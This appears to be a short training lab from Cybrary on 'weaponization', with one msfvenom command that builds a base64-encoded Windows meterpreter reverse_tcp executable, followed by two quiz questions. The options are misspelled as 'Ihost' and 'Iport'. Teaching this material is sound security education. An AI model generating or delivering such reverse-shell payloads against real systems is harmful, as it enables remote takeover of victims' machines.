CYBRARY

Weaponization using msfvenom

Description: using msfvenom to create a payload.

Requirements: Metasploit installed (lab below done in Kali Linux)

Step 1: Run Terminal

Step 2: Type msfvenom -p windows/meterpreter/reverse_tcp Ihost=<your_ip_address>
Iport=<local_port> -e cmd/powershell_base64 -i 5 -f exe > <location_to_save_payload>

Step 3: a payload .exe should be created in the location entered in step 2

Question 1: the output of msfvenom is an executable file?

Question 2: what is Ihost and Iport in msfvenom command?
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